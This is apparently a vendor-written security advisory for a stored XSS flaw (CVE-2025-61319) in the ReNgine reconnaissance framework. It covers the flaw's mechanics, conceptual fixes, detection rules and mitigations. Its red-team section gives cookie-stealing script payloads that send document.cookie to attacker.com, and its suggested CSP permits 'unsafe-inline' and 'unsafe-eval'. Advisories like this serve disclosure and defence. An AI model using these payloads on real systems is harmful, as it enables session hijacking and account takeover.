CVE-2025-61319
Executive Summary
CVE-2025-61319 is a Stored Cross-Site Scripting (XSS) vulnerability in ReNgine, an open-source automated reconnaissance framework for web applications. The vulnerability exists in the Vulnerabilities module, where user-supplied XSS payloads are not sanitized before being stored and rendered in the web UI. An attacker can inject malicious JavaScript by scanning a target that contains an XSS payload. When an administrator views the scan results, the payload executes in their browser, potentially leading to session cookie theft, unauthorized actions, or full account compromise. The vulnerability affects ReNgine through version 2.2.0, and no official patch has been released at the time of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ReNgine is a Python-based application that uses various dependencies for its functionality. The vulnerability is not directly related to a specific package but rather to the application's own input handling. However, the lack of a patch and the use of potentially outdated dependencies could introduce additional risks. Users should monitor for updates and consider applying input sanitization patches manually.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) | Calculated: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid account to scan targets.
- User Interaction (UI): Required (R) – The victim (admin) must view the scan results.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure (e.g., session cookies).
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and account takeover in a security tool like ReNgine elevates the risk. An attacker could gain access to sensitive scan data and perform actions as the administrator.
Deep Dive & Mechanics
The vulnerability resides in the Vulnerabilities module of ReNgine. When a user initiates a scan against a target, the scan results are processed and stored in the database. If the target or the scan results contain an XSS payload (e.g., <script>alert('XSS')</script>), this payload is not sanitized before being rendered in the web UI.
The flow is as follows:
- An attacker with a valid account creates a scan target that includes an XSS payload in a field that will be reflected in the Vulnerabilities module (e.g., a custom URL parameter or a crafted response).
- The scan runs and the payload is stored in the database without sanitization.
- An administrator views the scan results in the Vulnerabilities module.
- The payload is rendered in the browser, executing arbitrary JavaScript in the context of the ReNgine application.
- The JavaScript can steal session cookies, perform actions on behalf of the admin, or redirect to malicious sites.
The root cause is the lack of output encoding or sanitization when displaying user-controlled data in the Vulnerabilities module. This is a classic Stored XSS vulnerability.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a conceptual fix.
Vulnerable Code (Conceptual):
# In the view that renders scan results
def show_vulnerabilities(request, scan_id):
vulnerabilities = Vulnerability.objects.filter(scan_id=scan_id)
return render(request, 'vulnerabilities.html', {'vulnerabilities': vulnerabilities})
<!-- In the template vulnerabilities.html -->
{% for vuln in vulnerabilities %}
<div>{{ vuln.description }}</div> <!-- Unsanitized output -->
{% endfor %}
Patched Code (Conceptual):
# In the view that renders scan results
from django.utils.html import escape
def show_vulnerabilities(request, scan_id):
vulnerabilities = Vulnerability.objects.filter(scan_id=scan_id)
for vuln in vulnerabilities:
vuln.description = escape(vuln.description) # Sanitize output
return render(request, 'vulnerabilities.html', {'vulnerabilities': vulnerabilities})
<!-- In the template vulnerabilities.html -->
{% for vuln in vulnerabilities %}
<div>{{ vuln.description }}</div> <!-- Now safe due to escaping -->
{% endfor %}
The fix involves escaping HTML entities in user-controlled data before rendering. In Django, this can be done using the escape filter in templates or the escape() function in views.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid account on a ReNgine instance (version <= 2.2.0).
- Ability to create a scan target.
Exploitation Steps:
- Log in to ReNgine.
- Create a new scan target. In a field that will be displayed in the Vulnerabilities module (e.g., the target URL or a custom parameter), inject an XSS payload. For example:
http://example.com/?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Run the scan.
- Wait for an administrator to view the scan results.
- The payload executes, sending the admin's session cookie to your server.
Alternative Payload (Session Theft):
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
Note: No public exploit code is available, but the above steps demonstrate the attack.
Blue Team
Detection:
- Monitor for unusual scan targets containing script tags or event handlers.
- Look for outbound connections to unknown domains from the ReNgine server.
- Check web server logs for requests to
/stealor similar endpoints.
Prevention:
- Apply input sanitization to all user-controlled data before storage.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Implement HTTP-only cookies to prevent JavaScript access to session cookies.
- Regularly review and update dependencies.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains from the ReNgine server.
- Requests containing
document.cookiein the URL.
- Host:
- Unusual entries in the ReNgine database containing
<script>tags. - Modified or new files in the ReNgine installation directory.
- Unusual entries in the ReNgine database containing
- Logs:
- Web server logs showing requests to
/stealor similar paths. - Application logs showing errors related to JavaScript execution.
- Web server logs showing requests to
Detection Engineering
YARA Rule
rule Detect_ReNgine_XSS_Payload {
meta:
description = "Detects XSS payloads in ReNgine scan results"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61319"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: ReNgine Stored XSS Payload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in ReNgine scan results
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-61319
logsource:
category: application
product: rengine
detection:
selection:
EventID: 1001 # Example event ID for scan result creation
Payload|re: '(<script[^>]*>.*?<\/script>|on\w+\s*=\s*['\"].*?['\"]|javascript\s*:)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in scan targets (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"ReNgine Stored XSS Payload Detected"; flow:to_server; content:"<script"; nocase; pcre:"/<script[^>]*>.*?<\/script>/is"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Vulnerabilities module if not essential, or restrict access to trusted users only.
- Apply input sanitization to all user-controlled data before storage. Use a library like
bleachin Python or theescapefilter in Django templates. - Implement Content Security Policy (CSP) headers to restrict script execution. Example:
Note:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';unsafe-inlinemay be required for some functionality but should be avoided if possible. - Use HTTP-only cookies to prevent JavaScript access to session cookies.
- Monitor for suspicious activity and review logs regularly.
Long-term Fix:
- Wait for an official patch from the ReNgine maintainers. If none is forthcoming, consider forking the project and applying the fix yourself.
- Upgrade to a newer version if one becomes available.
Workarounds:
- Use a Web Application Firewall (WAF) to filter out XSS payloads.
- Implement a reverse proxy that sanitizes responses before they reach the browser.
Valters IT
Securing Your Digital Frontier
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.